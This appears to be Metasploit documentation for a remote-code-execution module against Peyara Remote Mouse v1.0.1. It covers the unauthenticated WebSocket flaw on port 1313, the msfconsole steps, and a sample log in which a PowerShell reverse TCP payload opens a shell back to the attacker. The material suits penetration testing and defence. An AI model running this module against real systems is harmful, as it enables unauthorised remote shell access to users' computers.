## Vulnerable Application

Peyara Remote Mouse v1.0.1 exposes an unauthenticated Socket.IO WebSocket
service on TCP port 1313. The service accepts keyboard input events without
authentication or sufficient validation. An attacker can send crafted keyboard
events to open a Windows command prompt and execute arbitrary commands in the
context of the user running Peyara Remote Mouse.

The vulnerable application is available from:

* https://peyara-remote-mouse.vercel.app/

The public proof of concept is available from:

* https://github.com/capture0x/Peyara

## Verification Steps

1. Install Peyara Remote Mouse v1.0.1 on a Windows target.
2. Ensure the Peyara Remote Mouse service is running and TCP port 1313 is reachable.
3. Start `msfconsole`.
4. Do: `use exploit/windows/misc/peyara_remote_mouse_rce`
5. Do: `set RHOSTS <target_ip>`
6. Do: `set LHOST <local_ip>`
7. Do: `run`
8. You should receive a shell as the user running Peyara Remote Mouse.

## Options

### KEY_DELAY

The delay, in seconds, between keyboard events. This gives the remote application
time to process each key event. Defaults to `0.06`.

### WS_TIMEOUT

The timeout, in seconds, for WebSocket operations. Defaults to `5`.

## Scenarios

### Peyara Remote Mouse v1.0.1 on Windows 10

```
msf > use exploit/windows/misc/peyara_remote_mouse_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf exploit(windows/misc/peyara_remote_mouse_rce) > set RHOSTS 192.168.1.107
RHOSTS => 192.168.1.107
msf exploit(windows/misc/peyara_remote_mouse_rce) > set LHOST 192.168.1.110
LHOST => 192.168.1.110
msf exploit(windows/misc/peyara_remote_mouse_rce) > set LPORT 4444
LPORT => 4444
msf exploit(windows/misc/peyara_remote_mouse_rce) > run

[*] Started reverse TCP handler on 192.168.1.110:4444
[*] 192.168.1.107:1313 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.1.107:1313 - The target appears to be vulnerable. Socket.IO service on the Peyara Remote Mouse port returned an Engine.IO open frame
[*] 192.168.1.107:1313 - Connecting to Socket.IO endpoint /socket.io/?EIO=4&transport=websocket
[*] 192.168.1.107:1313 - Opening command prompt through remote keyboard events
[*] 192.168.1.107:1313 - Sending payload command
[*] Command shell session 1 opened (192.168.1.110:4444 -> 192.168.1.107:49721)

C:\Users\user>whoami
desktop-123456\user
```
